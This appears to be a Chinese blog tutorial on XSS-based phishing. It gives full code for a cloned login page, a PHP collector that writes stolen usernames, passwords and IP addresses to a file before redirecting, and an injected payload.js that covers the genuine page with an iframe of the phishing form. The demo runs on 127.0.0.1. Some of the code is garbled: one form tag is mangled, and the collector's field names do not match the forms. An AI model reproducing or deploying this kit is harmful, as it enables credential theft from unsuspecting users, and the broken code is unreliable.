XSS漏洞釣魚

weixin_51356351發表於2020-11-19

首先先準備一個登陸環境

login.php 登入頁面檔案
hack.html 釣魚用登入頁面,與正常登入頁面前端相同
hack.php 用於接受儲存釣魚頁面傳輸的資料
payload.js 用於覆蓋原有登入頁面

1、首先先做一個簡單的登陸頁面

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    登入介面</br>
    <form action="127.0.0.1/login.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
	<script src="http://127.0.0.1/xsshack/payload.js"></script>
  </body>
</html>

2、然後再做一個釣魚頁面,但是表單提交的地址變為我們可以控制的頁面,其餘的與登陸頁面相同

<!DOCTYPE html>
    <html>
      <head>
    <meta charset="utf-8">
    <title>xxx使用者登入(釣魚頁面)</title>
      </head>
      <body>
    
http://127.0.0.1/hack.php" method="post">

      xxxx登入頁面(釣魚頁面)<br>
      <input type="text" name="user" value=""><br>
      <input type="password" name="pass" value=""><br>
      <input type="submit" name="Login" value="Login">
    </form>
      </body>
    </html>

3、我們還需要一個接受儲存的密碼的指令碼,也就是上邊的hack.php檔案,程式碼如下:

<?php
$str=' ';
$str.='name: ' .$_POST['userName'] . ' | ';
$str.=' pwd:' .$_POST['password'] . ' | ';
$str.=' ip:' . $_SERVER["REMOTE_ADDR"] . ' | ';
$str.=' time:' . date("m-d-h:i");
file_put_contents('password.txt',$str.PHP_EOL, FILE_APPEND);
header("location:http://www.baidu.com");
?>

4、構造一段程式碼payload.js,實現覆蓋原有頁面並呼叫我們的釣魚頁面進行覆蓋,程式碼如下:

document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+
'<iframe src=http://127.0.0.1/xsshack/hack.html width=100% height=100%>' +
'</iframe></div>';

5、然後我們可以利用頁面的XSS將利用程式碼插入到正常頁面,通過利用程式碼遠端呼叫我們的javascript檔案,覆蓋正常登入頁面,這裡只是演示,我們直接將利用程式碼加入到正常登陸頁面內

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    登入介面</br>
    <form action="127.0.0.1/login.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
	<script src="http://127.0.0.1/xsshack/payload.js"></script>
  </body>
</html>

6、此時當我們訪問登入頁面時,就會跳到我們的釣魚頁面。
在這裡插入圖片描述 通過原始碼可以不難看出,整個頁面已經被一個iframe框架覆蓋,並且資料提交地址已經改變
現在我們在輸入賬號密碼登入時資料已經提交到我們的伺服器並進行了儲存,然後URL跳到了我們指定的地址。

相關文章